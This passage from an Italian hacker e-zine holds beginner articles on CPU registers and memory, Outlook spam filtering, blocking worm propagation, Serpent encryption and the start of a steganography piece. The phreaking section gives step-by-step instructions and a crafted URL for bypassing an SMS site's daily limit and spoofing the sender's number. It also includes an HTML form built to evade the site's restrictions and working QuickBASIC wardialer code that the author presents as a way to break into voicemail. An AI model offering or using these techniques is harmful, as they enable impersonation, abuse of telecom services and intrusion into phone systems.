 lina di ingresso e una di uscita per ciascun bit; quando il segnale di
 clock(orologio) commuta da 0 a 1 i valori delle variabili presenti agli
 ingressi vengono assegnati alle uscite.
 In base alle loro funzioni si possono distinguere 2 tipi di registri di
 transito e di traslazione.

 *. Registri di Transito.

 Alcune parti dell'elaboratore, per esempio l'unita' centrale, elaborano le
 informazioni a velocita' estremamente elavata rispetto ad altre, es. le
 unita' di Ingresso/Uscita. Per compensare tale divario e evitare inutili
 attesa da parte delle unita' piu' veloci, alcuni registri particolari detti
 di transito (buffer register), situati nelle singole unita', mantengono
 temporaneamente le informazioni finche' l'unita' ceh li deve utilizzare non
 risulta pronta a farlo.

 *. Registri di Traslazione.

 Tali registri(shift-register) non solo memorizzano una informazione ma
 svolgono su di loro anche una operazione o elaborazione. Un registro di
 traslazione puo' far traslare il suo contenuto in bit di una o piu'
 posizioni versosinistra o destra.
 I dati vengono messi ad un estremo del registro,un bit per volta, e poi
 traslati attraverso il registro di quante posizioni si vuole.
 Se si fa slittare il contenuto binario di un registro di traslazione di un
 posto verso sinistra e introducendo uno 0 al posto lasciato scoperto, il
 numero binario rappresentato si moltiplica per 2, mentre se lo si fa
 slittare verso destra si divide per 2 con il risultato approssimato per
 difetto. In tal modo un registro di traslazione puo' compiera delle
 operazioni aritmetiche.

   -------------------------
   | 0 | 0 | 1 | 1 | 1 | 0 |  (14)10      -------------------------
   -------------------------     |        | 0 | 0 | 1 | 1 | 1 | 0 |  (14)10
     /   /   /   /   /   /       |        -------------------------
    /   /   /   /   /   /        |            \   \   \   \   \    \
   V   V   V   V   V   V         |             \   \   \   \   \    \
     -------------------------   V              V   V   V   V   V    V
     | 0 | 1 | 1 | 1 | 0 | 0 |  (28)10     -------------------------
     -------------------------             | 0 | 1 | 1 | 1 | 0 | 0 |  (7)10
                                           -------------------------


    3. Memoria Centrale.

 La memoria centrale e' costituita da migliaia di componenti o celle
 chiamate "allocazioni di memoria".
 Ogni Locazione puo' contenere solo una informazione per volta. Ogni
 locazione di memoria viene individuata e identificata da un unico indirizzo
 assegnatole al momento della sua costruzione.
 E' importantissimo notare ceh l'indirizo individia la locazione non il
 contenuto della locazione stessa. Gli indirizzi sono numeri interi che
 vanno in ordine progressivo da 0 fino al piu' grande numero occorrente.
 Poiche' ogni locazione possiede un proprio indirizzo, l'unita' di controllo
 puo' far riferimento a qualsiasi locazione per memorizzare e prelevare dati

             .......
             .......       \
          _______________   \
      /> |               |   \
     /   |_______________|    \
    /                         |
   /      _______________     | Locazioni di
  *----> |               |    |    Memoria
   \     |_______________|    |
    \                         |
     \                        /
      \   _______________    /
       > |               |  /
         |_______________| /
             ........     /
             ........
             ........
                                          |                  |
                                          |__________________|
                         indirizzo  --->  |                  | <---locazione
                                          |__________________|    di memoria
                                          |         ^        |
                                          |         |        |
                                                    |
                                                    |
                                                contenuto




 Nella figura vediamo le strutture logiche della memoria e si evidenzia la
 differenza tra "locazione", indirizzo (della locazione), e contentuto(della
 locazione).
 In una memoria a parole la dimensione fa riferimento al numero di parole o
 locazioni ceh essa puo' contenere e viene normalmente espressa in multipli
 di K(K=2^10=1024). Una memoria di 4K contene 4*1024=4096 locazioni di
 memoria.
 Solitamente le dimensioni delle memorie centrali sono multipli di K: 4K,8K,
 16K,....64K,....640K,..... Una memoria di 32K, per esempio, possiede 32768
 locazioni e quindi esisteranno indirizzi da 0 fino a 32767.
 Durante l'esecuzione di un programma, le informazioni prelevate dalle
 memorie vengono trasferite all'A.L.U. se sono dati, oppure alla U.C. se
 sono istruzioni.


   4. Unita' di Controllo(U.C.) e Unita' Logico-aritmetica(A.L.U.).

 L'Unita' di controllo coordina e dirige le attivita' dell'intero sistema di
 elaborazione; tra le sue specifiche funzioni ritroviamo:
 --L'interpetrazione delle istruzioni e il loro prelievo.
 --la decodifica di ogni istruzione e l'immissione di segnali di controllo
   per dare avvio a qualche operazione specifica(es: un operazione di
   memorizzazione, un'operazione di lettura,un operazione aritmetica,ecc.
 --La direzione e il controllo dei movimenti di informazione verso la
   memoria e le unita' di I/O.

 L'A.L.U. svolge due funzioni principali:
 --Esegue tutte le operazioni e i calcoli aritmetici.
 --Esegue le operazioni logiche, es: il confronto da due valori.

 Ricordiamo che un calcolo aritmetico da origine ad un risultato, mentre
 un operazione logica e' usata pre prendere delle decisioni.

 Per svolgere le sue funzioni, l'U.C. utilizza un certo numero di registri.
 Quelli principali sono:
 --Il registro istruzioni (I.R.Istruction->Register).
 --Il contatore di programma(P.C.Program-Counter).
 --Il registro indirizzi(A.R.Address-Register).
 --Il registro dati (D.R.Data-Register).
 --L'accumulatore (AC).

 Di solito A.R., I.R. e P.C. appartengono all'unita' di controllo, D:R: e
 AC all'unita' aritmetico-logica.


       ------------------------------
       |                            |
       |          MEMORIA           |
       |----------------------------|
         ^  |      ^  |       ^
         |  |      |  |       |
         |  V      |  V       |
       _______    _______    ______
       |     |    |     |    |    |
       | AC  |<---| D.R.|    |A.R.|<------------\
       -------    -------    ------             |
        ^  |            |       ^               |
        |  |            |       |               |
        |  V            |       |               |
       _____________    |    ___|___        ____|___
       |           |    |    |     |        |      |
       | Circuiti  |<---+--->| I.R.|------->| P.C. |<------\
       |Aritmetico |         |-----|        |------|       |
       |  Logici   |            |              ^           |
       |-----------|            |              |           |
                                |              |           |                                                    
|              |           |                |
                                |              |           |
                                |              |           |
                             ___V____          |         __|____
                             |      |          |         |     |
                             |DECOD.|          \---------|  +1 |
                             |------|                    |-----|
                                |
                                |
                                |
                                V
                             _______
                             |     |
                             | L.C.|
                             |-----|


 Il D.R. memorizza un'informazione(dato o istruzione) che e' stata prelevata
 dalla memoria o ceh vi deve essere memorizzata.
 Si tratta di un registro di transito necessario per compensare le
 differenze di velocita' operativa tra la memoria e la U.C.
 L'A.R. memorizza l'indirizzo della locazione in cui si vuole leggere o
 scrivere.
 D.R. e A.R.  servono quindi nelle operazioni di scambio di informazioni tra
 U.C e memoria.
 I.R. conserva un'istruzione per tutta la durata della sua esecuzione.
 P.C. contiene l'indirizzo della locazione il cui contenuto rappresenta
 l'istruzione successiva a quella in corso di esecuzione.
 Prima dell'esecuzione di un programma nel P.C. e' memorizzato l'indirizzo
 della prima istruzione da eseguire. Durante l'esecuzione di una istruzione
 il contenuto di P.C. viene aggiornato all'indirizzo dell'istruzione
 successiva. Questo si ottiene sommando un 1 al contenuto di P.C. in quanto
 le istruzioni sono contenute in memoria di solito in modo sequenziale
 L'accumulatore rappresenta l'area di lavoro utilizzata dall'A.L.U. per
 svolgere i calcoli. Alcune Unita' Centrali dispongono piu' accumulatori.


    5. Flip-Flop.

 Un Flip-Flop (F-F) e' un circuito elettronico usato per memorizzare
 informazioni negli elaboratori.
 Possiede due stati indipendenti stabili ed e' in grado di immagazinare un
 bit di informazione. L'uscita di un F-F in un certo istante dipende dai
 valori assunti dalle variabili di ingresso,non solo in quell'istante ma
 anche in quelli immediatamente precedenti. Quando un F-F e' portato in uno
 dei suoi due stati da un impulso in ingresso, vi rimane anche ad impulso
 finito. Il cambiamento di stato si ottiene solo con un altro impulso.
 Per essere piu' chiari un F-F funziona come un interruttore elettrico che
 possiede anch'essi due stati: aperto e chiuso, ma non contemporaneamente,
 quando viene portato a uno dei due stati non cambia finche' non c'e' un
 impulso dall'esterno.
 Prendiamo uno dei piu' comuni F-F, quello di tipo D.
 Esso conserva sull'uscita un valore binario trasmesso sulla linea di
 ingesso in un certo istante. A tale scopo si utilizza un segnale di
 controllo, il "clock" che stabilisce l'istante in cui il dato viene
 memorizzato. Infatti nel momento in cui l'impulso della linea di clock
 passa da 0 a 1 il valore presente in ingresso (0 o 1) si trasferisce
 automaticamente all'uscita Q .


           /----------/
     D ----|          |----Q              D: Ingresso
           |  D-F F   |                   Q: Uscita
    CK --->|          |*---Q             CK: clock(orologio)                          
|----------|


 Se ad esempio all'istante in cui si presenta l'impulso di clock su CK,su D
 abbiamo un 1 (0), allora l'uscia Q diventa 1 (0) e rimane in tale
 condizione, anche se cambia il valore della variabile logica su D, finche'
 non si presenti un nuovo impulso di clock.


         6. Conclusione.

Ringrazio sopratutto Syscall (fratellone) =P ,poi bono-sad, Valk, harada,
kawato, Viegeles, {D4nG3r}, Parantido, Pit, Eva-Kant, ziabice, lordfelix,
Valnir, Kernel2420 e tutti quelli di #coding , #campaniahack , #mojodo e
#linux.eu . TNX ragazzi =))

BrNoCrIsT

brnocrist@libero.it

http://coding.cjb.net



+==[ SECURITY ]===============================================================+
|  Titolo: Basta spam nella casella di posta elettronica                      |
|  Autore: Cyberdude                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Ciao ragazzi, oggi vorrei fare un applauso  a  Outlook  Express  perché  mi  ha 
risolto un bel problema!!! Ora vi spiego un po' meglio:  non so  voi  ma  a  me 
capita che ogni volta che  scarico  la  posta  (ogni  giorno)  mi  arrivano  12 
messaggi nuovi di cui 11 sono  messaggi  di  spam.  Questo  problema  oltre  ad 
intasarmi come non mai la casella di posta, mi rallenta anche lo scarico  della 
posta e mi provoca l'arrivo sul pc di virus  e  infezioni  varie!!!  BASTA ALLO 
SPAM!!! Non ce la faccio più. Così un giorno mi sono messo un po' a studiare la 
casella di posta per impedire che il server Pop3 mi scarichi in outlook  questi 
messaggi di spam. Alcuni amici sapete cosa mi hanno detto? Che il mio indirizzo 
(come anche il loro) è inserito nei database e che lo spam arriva sempre  dallo 
stesso spammatore… andando  a  controllare è  vero  sono  che  a  me sono 3 o 4  
spammatori, quindi ho dovuto eliminarli tutti. Come ? beh con il nostro outlook 
express risolviamo il problemino in pochi semplici passi. Una volta  aperto  il 
programma    ci  basta  selezionare   Strumenti  ->  regole  messaggi ->  posta 
elettronica   ,  apertosi  questo  menù  ( nuova  regola   posta  elettronica ) 
selezioniamo la prima voce che dice – in cui la casella Da contiene contatti  – 
poi subito sotto andiamo a selezionare la  voce  –  elimina  il  messaggio  dal 
server – ebbene si adesso il nostro programma è impostato per cancellare  tutti 
i messaggi che arrivano  da  un  dato  indirizzo  inserito  nella  cartella  Da 
contiene contatti, come potete leggere nella descrizione subito sotto. Ora  non 
ci resta che clickare su "Contiene contatti" e inserire l'indirizzo e-mail  dei 
vari spam che non vogliamo più vedere.  Tutto  qui,  allo  stesso  modo  potete 
eliminare tutti i testi che contengono  ad esempio  la  parola  "I love you"  o 
altre  cose di  questo   genere,  insomma  le regole  mettetele voi,  io  vi ho 
riportato solo un esempio.  Ma  attenzione, su  versioni  molto  aggiornate  di 
Outlook express negli strumenti trovate direttamente CREAZIONE GUIDATA REGOLE e 
da li potete seguire passo  passo le  indicazioni  del  software,  infondo  non 
bisogna essere un genio dell'informatica per eliminare un  po'  di  spam  dalla 
propria  posta  vero ?  Concludo  con  un  caloroso  saluto  al  mio  amico  di 
villeggiatura Francesco Man. con il quale  intrapresi  un discorso  riguardo  a  
tutto questo spam  nella  posta… Kekko  ecco  la soluzione  :p   ciao  a  tutti 
 
Cyberdude  


+==[ SECURITY ]===============================================================+
|  Titolo: Vita dura per i worms                                              |
|  Autore: Cyberdude                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Ciao ragazzi… ebbene si,  sono  ancora  io,  Cyberdude!  Con  un  nuovissimo  e 
stupidissimo articolo ;) è vero in questo periodo prescolastico  mi  sto  dando 
alla pazza gioia con tutti questi articoli, forse perché passo le mie  giornate 
tra letto, piazza e  computer.  Il  fatto  oltre ad  essere  monotono  è  molto 
deprimente, quindi almeno impiego il tempo a scrivere cazzatelle che alla  fine 
possono anche risultare utili per qualcuno giusto?  Oggi  volevo  parlarvi  dei 
virus, una specie precisa di virus : i worms,  penso che  chiunque  almeno  una 
volta nella propria vita ha sentito parlare di questi fastidiosissimi parassiti 
che non solo entrano nel tuo  computer ma si  autoinviano da  soli  a  tutti  i 
contatti che hai in rubrica! Che specie bastarda! Iihihih  ma  almeno  possiamo 
fare qualche cosa senza dover essere dei perfetti  programmatori  o  hacker  di 
alto livello. Sapete che possiamo fare? Possiamo bloccare il loro autoinvio  in 
modo da non infettare  il  computer dei  nostri  amici e magari potremmo  anche 
accorgercene in tempo per debellarli. Ora vi spiego come fare .  Dunque  aprite 
il vostro famosissimo client di posta elettronica che spero si outlook  express 
perché io tengo quello e il trucchetto l'ho sperimentato  su  quello :p  Dunque 
aperto? Adesso fate così andate in rubrica e inserite un nuovo contatto,  nella 
casella nome inserite il seguente campo !000000 con tutti gli zero che volete e 
dove  vi   chiede  di  inserire  l'indirizzo  di   posta  elettronica  scrivete 
PROPAGAZIONE VIRUS BLOCCATA . Ecco fatto… volete sapere  che  succede?  Che  il 
virus arriva sul  vostro  computer  (a  questo  punto  potete  fare  tutti  gli 
scongiuri che volete ma non bestemmiate ok? ) e  vorrebbe  mandarsi  a  tutti i 
nomi in rubrica, se non chè il primo nome in rubrica è un certo !00000  che  ha 
come indirizzo di posta  elettronica PROPAGAZIONE VIRUS  BLOCCATA ,  quindi non 
riuscirà ad inviarsi e verrà  stoppato lì perché  non  esiste  un indirizzo  di 
questo tipo.  Inoltre  sul vostro  schermo  comparirà  una  voce  del  genere : 
Impossibile inviare  PROPAGAZIONE  VIRUS  BLOCCATA ,  indirizzo  di  posta  non 
accettato dal server. Quindi capirete di essere infetti e se  siete  abbastanza 
bravi potreste anche eliminare il virus prima  che  distrugga  tutto  o  almeno 
salvare il salvabile prima di dover provvedere alla formattazione, in ogni modo 
almeno abbiamo salvato i nostri amici!!  Se  tutti  facessero così sul  proprio 
account  di  posta   elettronica  questo  genere  di  virus   verrebbe  abolito 
completamente dalla faccia della terra  perché  non  riuscirebbe  ad  infettare 
altro computer  di  quello  che  lo  scrive  e  prova a lanciarlo.  Comunque mi 
accontento che adottino questo metodo tutti i  miei  lettori :p  ciao  ragazzi… 
alla prossima 

Cyberdude 


+==[ PHONE PHREAKING ]========================================================+
|  Titolo: SMS, NO LIMITS and spoofing                                        |
|  Autore: EraZor                                                             |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
I bei tempi quando mandare sms da internet gratis era possibile da molti siti 
sono proprio finiti. Adesso per mandare sms gratis i siti che lo permettono 
sono pochi e molti necessitano di una registrazione strarompicazzo e di 
conseguenza dovremo stare ogni volta a inserire password e user, inoltre questi 
servizi, che sono controllati dalle compagnie telefoniche, permettono l' invio 
a telefoni appartenenti al gestore stesso. (Per ES. sul sito della omni mandi 
sms solo ai telefoni omni lo stesso vale per wind e co.) Questo finchè non sono 
venuto a conoscenza di sms.clarence.com , il servizio permette di inviare 160 
caratteri a telefoni di tutti i gestori , bello vero?? Direi di si , se nn 
fosse per il fatto che ne puoi mandare solo 1 al giorno. Infatti tentando di 
inviare il secondo messaggio mi sono trovato davanti alla protezione  del sito 
che nn mi permettva + di inviare e che mi invitava a ripassare domani...Io nn 
mi sono arreso e ho cancellato subito i file temporanei internet e i cookies, 
sono andato sul sito e zac... mi ha fottuto lo stesso , doh e ora?? Ho pensato 
poi che ti loggassero l' ip , ma poi ho scansato l' ipotesi dato che il blocco 
durava 1 giorno , e chi si sarebbe ricollegato con il mio ip benchè un ora dopo 
se la sarebbe presa...ehm... poi alla fine come un pirla mi sono scordato dei 
cookie più infami,quelli della serie index.dat e con un buon programma di 
pulizia (spider ve lo consiglio) ho cancellato ogni traccia. Ora bastava fare 
una cosa e dato che internet explorer non è poi tanto infame gli ho fatto 
bloccare tutti i cookies (vai su strumenti -> [opzioni internet], nella scheda 
[privacy]scegli blocca tutti i cookies) semplice, veloce ed efficace. Ora ogni 
volta che vado su sms.clarence.com faccio questa operazione e sendo quanti sms 
mi pare... bello no?? Ora però parliamo di qualcosa di + figo : la 
personalizzazzione del num mittente , si avete capito bene , potrete fare in 
modo che chi riceve il messaggio non visualizzi il vostro ip bensì un numero 
che sceglierete voi... Per farlo basta copiarsi nella barra "indirizzo" il link 
che raggiungi cliccando il bottone "Invia il tuo sms" nella pagina dove si 
inserisce il numero del destinatario...cliccando su "invia il tuo sms" infatti 
vi dovrebbe uscire fuori un lungo link voi copiatelo e incollatelo nel blocco 
note poi terminate subito l' operazione di caricamento della nuova pagina,  il 
link è di questo tipo :

http://sms.clarence.com/cgi-
bin/controlsms.chm?from=1.1.1.1&f=&pref=333%2022210&num=2000000&msg=prova&id=63
66656b6673647176747661727376756f73757076725f72767672726f6f7877627370787265676a6
86a6a&stanga=sms.928011505.862772998 


from=1.1.1.1  visto??
adesso cambiate 1.1.1.1 (il vs ip) con un qualsiasi numero di cellulare a vs 
piacimento
e ora non resta che copiare e incollare il link nella barra indirizzi del 
browser e premere invio, saremo rediretti in una pag che ci chiederà la 
conferma del mex.
Enjoy ;-)
 

senza ogni volta andare sulla home del sito per sendare un paio di sms
vi posto questo html (tnx to InTrip) (basta salvarlo con estenzione .html):

<!-- SMS GRATIS CON CLARENCE.... BY Intrip 
questo programma ti permetta di aggirare le restrizioni di clarence per mandare 
sms
con questo programma non hai la restrinzione del numero caratteri e puoi 
mandare quanti sms vuoi, non solo 1 al 
giorno come vogliono quelli di clarence -->
<html>

<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">
<title> SMS Clarence       Beta .01</title>
</head>

<body>
<span id="Sms Layer" style="position:absolute; top: 5 px; left: 5 px;">
<h1>SMS Clarence </h1>

<form action="http://sms.clarence.com/sms2.php3" method="get"
name="sms_gratis">
    <input type="hidden" name="chiave" value><input type="hidden"
    name="shortid" value><p><textarea name="testosms" rows="6"
    cols="25" wrap="on" id="txtMsg"></textarea> <br>
    <br>
    <b>Tipo messaggio:</b> <br>
    <br>
    <input type="radio" checked name="smartype" value="1tx1">
    Normale <input type="radio" name="smartype" value="1tx0">
    Flash <br>
    <br>
    <input type="submit" name="submit"
    value="Invia il tuo messaggio"> </p>
</form>

<p align="right"
style="font-family: verdana,arial; font-size: 9pt; font-weight: bold;">By
InTrip </p>
</span></body>
</html>


+==[ PHONE PHREAKING\PROGRAMMAZIONE ]=========================================+
|  Titolo: Creiamo uno Wardialer                                              |
|  Autore: EraZor                                                             |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Uno wardialer è un programma che mediante il modem sulla porta com 1 o 2 
chiama un range di numeri (verdi di solito ;)) definito dall' utente. Inutile 
dirvi perchè i phreakers fanno wardialing, per bucare segreterie, per scoprire 
green che ti fanno collegare gratis e per conoscere numeri utili. Adesso che 
avete capito cosa è uno wardialer vi sembrerà quasi un programma inutile, ma 
invece nn lo è, basta infatti avvere un po di pazienza che il programmino 
qualcosa ci trova sempre. In rete trovare uno wardialer non è difficile xchè ce 
ne sn una marea, tutti cn opzioni e funzioni diverse, molti sono semplici 
dialer, altri invece sono strapieni di funzioni ma hanno la pecca di essere 
americani e quindi nn compatibili col sistema telefonico italiano.Tutte queste 
incompatibilità mi hanno fatto venire voglia di creare uno wardialer che si 
adatti alle mie esigenze e che possa essere gestito efficacemente. Così un 
giorno, quasi per scherzo ma convinto di quello che facevo mi misi a  scrivere 
con il mio amato quick basic un bel wardialer , ed ecco il risultato :

O_WD versione 1.1 beta 
codice:


menu:
OPEN "C:\wardial\modem.cfg" FOR INPUT AS #4
INPUT #4, comport$
DO
COLOR 2: PRINT "<>-Open_WarDialer-<beta 1.0> http://mazzi15.interfree.it by 
EraZor"
PRINT
INPUT "1. continua wardialing | 2. (Re)Inizia wardialing 3. Modem Setup 4. 
Uscita ???", scelta
IF scelta = 3 THEN GOTO setup:
IF scelta = 1 THEN GOTO wardial:
IF scelta = 2 THEN GOTO wlog:
IF scelta = 4 THEN END
LOOP


setup:
INPUT com$
PRINT "COM 1 o 2??"
OPEN "c:\wardial\modem.cfg" FOR OUTPUT AS #4
PRINT #4, "COM" + com$ + ":" + "9600"
GOTO menu:






wlog:
PRINT : PRINT "scegli il numero d'inizio: "
INPUT num$
OPEN "c:\wardial\warlog.txt" FOR OUTPUT AS #1
PRINT #1, num$
CLOSE
wardial:
DO
CLS

DIM b AS LONG
DIM a AS LONG
CLS
OPEN "C:\wardial\warlog.txt" FOR INPUT AS #1
INPUT #1, a
b = a + 1
OPEN comport$ + ",N,8,1,RB2048,TB2048" FOR RANDOM AS #2

PRINT #2, "ATDT"; "4793"; b
PRINT "Chiamata in corso "; b; " ...."
SLEEP 30
CLOSE
OPEN "c:\wardial\warlog.txt" FOR OUTPUT AS #1
PRINT #1, b
PRINT "interrotto a: "; b
CLOSE
LOOP
END

Se provate a compilarlo con un compilatore il programma funziona e riuscite a 
scannare tranquilli, ma siccome da ancora troppi problemi, vi chiedo aiuto se 
siete in grado !!! Una volta compilato, prima di avviarlo dovrete creare la 
cartella "C:\wardial"  dove dovrete mettere l' eseguibile del programma. Per le 
nuove versioni del codice http://mazzi15.interfree.it !!!

+==[ CRITTOGRAFIA ]===========================================================+
|  Titolo: Crittografia e serpent                                             |
|  Autore: Unrelated                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
---< Intro >----------------------------------------------------------
 Finalmente dopo un bel pò di tempo...  e cyberdude sa che da circa 4
 mesi sto lavorando in questo progetto di crittografia, sono riuscito
 a concludere qualcosa di serio...in questo tutorial vi  parlerò  del
 mondo della crittografia e della sua applicazione  in  modo  pratico
 facendo  apposta  per  IL  un  bel  tool  del  quale  comunque  sono 
 disponibili pure i nativi  in  VB...  ma  procediamo  con  ordine...
 sempre in base alle mie convinzioni  in  termini  di  argomentazioni
 tecniche racchiudo nei miei tutor vari pezzi di  storia  per  quanto
 sia possibile... quindi diciamo che incomincio col spiegare le  basi
 della crittografia prima di partire  con la  pratica...  quindi  non 
 state a scassarmi.. uffa che palle scrivere in modo serio.. de hi he
 he doh.... 

---< Cosa è la Crittografia? >----------------------------------------
 Crittografia dal Greco:     Kryptos (nascosto) e Graphein (scrivere).
 Nei primi del 1900 la crittografia fu considerata come vera  scienza,
 prima usata dagli 007 e da altre persone che in modo o nell'altro ne
 hanno necessitato per moltissimo tempo, ora evolve con l'avvento dei
 sistemi  informatici  tecnologici  anche  in questo vasto  settore...
 basti pensare al cracking satellitare...  quel cazzo di hex editor...
 Ma diciamo che solo dal 1969 si ebbe una vera applicazione seria nel
 mondo scientifico-matematico... mi viene  in  mente  il  famosissimo
 James Ellis,  agente  segreto  britannico  con  specializzazione  in 
 crittografia...  la sua fissa preoccupazione fu il trovare il modo +
 sicuro per la distribuzione delle chiavi... di questo parleremo dopo.

---< strong-encryption >----------------------------------------------
 In america dopo l'ivenzione della crittografia a  chiave pubblica di
 Whitfield Diffie e  Martin Hellman, ad opera di Ronald Rivest,   Adi
 Shamir e Leonard Adleman con la stesura del cifrario RSA che offriva
 una alta sicurezza nel mondo  della  crittografia... che  da  allora 
 venne chiamata crittografia forte (strong-encryption).

---< Scopo della crittografia >---------------------------------------
 Lo  scopo  della  crittografia  non  è  nient'altro  che  quello  di 
 nascondere una informazione segreta... ma ciò può capitare solamente
 se sia l'informatore che l'informato  abbiano  uno  stesso  tipo  di
 codice o chiave comune per decifrare il cifrario segreto...  diciamo
 che per cifrario  intendiamo  il  modo  in  cui  viene  espresso  il
 messaggio...

---< La Crittografia >------------------------------------------------
 La crittografia moderna è costituita da varie sequenze  di caratteri
 che possono essere minimo 8 per ogni singola lettera   crittografata
 fino a 500 e in altri casi in molti di più... i caratteri per essere
 manipolati e trasformati necessitano di un algoritmo...   quindi  un
 cifrario ha necessità di un algoritmo... quello che noi applicheremo
 sarà l'algoritmo serpet... ma dopo.

---< L'algoritmo >----------------------------------------------------
 La parola algoritmo  significa semplicemente procedimento di calcolo
 e deriva  dall'opera di  un    matematico  persiano  del  IX  secolo, 
 opera che poi copiata e latinizzata  ebbe  il  nome di algorismus in
 epoca medioevale poi in epoche + recenti, il  vocabolo  fuso  con la
 parola aritmetica...  generò algoritmo.... - --     uff... woilà! :D

---< Il principio di Kerckhoffs >-------------------------------------

 August  Kerckhoffs,  linguista  franco-olandese,  crittologo  elaborò 
 alcune teorie molto importanti sulla crittografia strategica militare
 Una di queste fu proprio questo principio che ancora oggi è alla base
 della crittografia moderna:

 La sicurezza  di  un crittosistema deve  dipendere
 solo  dalla  sicurezza  della  chiave e  non dalla
 segretezza dell'algoritmo usato |1883, Kerckhoffs|



---< La grande scissione >--------------------------------------------
 beh..  diciamo che in particolare i sistemi crittografici si dividono
 in cifrari simmetrici e asimmetrici o a chiave pubblica.

 La crittografia simmetrica 

 In questo caso questa caso si usa una singola chiave per  criptare  o
 decriptare il cifrario, logicamente sia l'informatore che l'informato
 devono essere a conoscenza della chiave... è  opportuno  che   questa
 chiave venga comunicata di persona...  ma  anche  in  questo caso  il
 canale sicuro di comunicazione non potrebbe risultare sicuro a  causa
 di cimici o cose del genere... 

 è opportuno quindi che si decida una chiave senza mai pronunciarla ma
 facendola capire attraverso una  serie di ricordi che avete in comune
 con   l'informato   e   che    portano   alla parola chiave stessa...
 |2003, Lord Unrelated Lodeguns|
 
 ESEMPIO
 
 informatore :  << tempo fa ci siamo schiantati contro un palo della
                   luce   con   quella   macchina...  il  colore. >>
 informato :    << ah quando siamo andati a rimini...      ricordo>>

 Tutti e  due ricordano perfettamente che il colore della macchina  è
 il grigio...  quindi tranquillamente si  sono  scambiati  una key in 
 un modo  non  intercettabile...  ma  anche  in  questo  caso  non  è
 possibile trovare un modo al 100% sicuro quando sono molto + che due
 le persone che devono  ricevere  la chiave... quindi si è cercato di
 produrre  un  sistema   di  crittografia  più  serio..  cioè  quello 
 asimmetrico o a chiave pubblica...


 La crittografia asimmetrica o a chiave pubblica
 
 Eccoci qui... bene possiamo dire che questa chiave anche  oggi  è la
 più diffusa tra i sistemi di comunicazione...   internet un esempio.
 La chiave segrete in questo caso non  viene  interscambiata  infatti
 esiste una  chiave  di  criptazione  che  è resa a tutti pubblica ma 
 esiste  un'altra  chiave di decriptazione che non è pubblica a tutti
 ma anzi individuale... quindi mooolto più sicura.     In questo caso
 non necessitiamo di un canale  sicuro  di  trasmissione  essendo  la
 trasmissione stessa assicurata da voi stessi.
 Un sistema crittografico asimmetrico ha successo quando  c'è  scarsa
 probabilità  che  dalla  chiave pubblica si risale a quella privata.
 
---< L'algoritmo Serpent >--------------------------------------------
 L'algoritmo  fu  commissionato  dall'AES  e portato a termine da tre
 ricercatori  Lars Knudsen, Ross Anderson, Eli Biham... Il sistema di
 blocchi è di 128 bit con chiavi a 256 bit. Sono presenti nel serpent
 permutazioni iniziali e finali inopportune  o  meglio sconclusionate
 a prima vista (non facendo  parte  integrante  della criptazione)...
 ma  che  in  effetti  servono per ottimizzare i dati prima che siano
 cifrati.


---< Serpent Crypter >------------------------------------------------
 L'alogoritmo  serpent  fa  parte della categoria di quegli algoritmi
 simmetrici.. voi direte... ma come parli così bene degli asimmetrici
 e ora ci deludi con un simmetrico? beh diciamo che  introducendo  al
 semplice algoritmo una chiave opzionale... possiamo ora parlare  non
 di un algoritmo  simmetrico  definito...  ma  indefinito...  ed  era
 proprio questo il  mio  scopo...  cercare  di  creare  un  algoritmo 
 personalizzabile a chiave opzionale infinita... la situazione avendo
 in mano l'ocx del serpent  non  è  stata  inconclusiva  infatti  era 
 facilemte realizzabile una cosa simile con la sola aggiunta di... :)
 Text3.text
 
 Serpent1.CryptString(txtCorpo.Text, Text3.Text, Check1.Value = vbChecked)

 diciamo che se vedete il  sorgente  ci  capite  sicuramente  di  più
 comunque oltre al txtCorpo che subisce una sua   criptazione serpent
 standard abbiamo una implementazione del text3.text che  si  associa
 alla criptazione di massa... in brevi parola la chiave opzionale   è
 una  semplice   chiave  aggiunta  manualmente  nel  text3.text,   in
 definitiva chi non conosce  la  chiave  opzionale  anche  se  ha  un
 decriptatore serpent non pùò concludere nulla...    deh hi he he ho!


 Spero che questo articolo non sia stato  troppo  palloso...  anche  se 
 l'argomento a se stante lo è se non lo si applica... :) negli allegati
 trovate il tool in exe e il sorgente in vb... vi chiedo  solo  di  non
 rippare spudoratamente perchè costa tanto lavoro... :D sarei  contento
 se magari un giorno visitando qualche  sito  nella  sezione  soft  sia
 presente   anche questo programma per la criptazione  e  decriptazione
 ... un pò di pubblicità non ci farebbe male e poi è  un buon  servizio
 offerto :D ciao e buon lavoro a tutti.. io intanto sto studiando... 
 studiando e studiando... ed intanto ho ormai perso  le speranze che in
 questo mondo possa essere felice... possa trovarmi   una  fidanzata  , 
 possa almeno per un giorno non litigare con i miei genitori,     possa
 almeno per un giorno non vedere più amici miei andare via...  pensando
 che forse è ora di andare a dormire ..  con  l'aria  di  mare  che  mi
 sfiora le narici augoro a tutti buona notte.. perchè il  giorno  ormai
 nella mia vita è molto lontano.


--< unrelated at libero dot it >----------------------------------------
--------------------------------------¤ Lord Unrelated Lodeguns ¤-------
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••


+==[ STENOGRAFIA ]============================================================+
|  Titolo: Quando un' immagine non è solo un' immagine                        |
|  Autore: ^_][ice][man][_^                                                   |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Autore: Davide alias ^_][ice][man][_^
Data: 17/07/2003
Titolo: ....quando un' immagine non è solo....un' immagine
Argomento: Steganografia sostitutiva

Main:

Salve ragazzi sono ^_][ice][man][_^ ( per gli amici Davide ); dopo un pò di 
tempo sono ritornato a scrivere, causa la scuola che impegnava troppo! Voi vi 
chiederete: e che significa sto titolo?
Questo titolo sta ad indicare che una semplice Bitmap può essere utilizzata 
anche per altri scopi ( non leciti per il normale utilizzo di una Bitmap ); 
infatti oltre ad essere un'immagine, essa può conservare al suo interno 
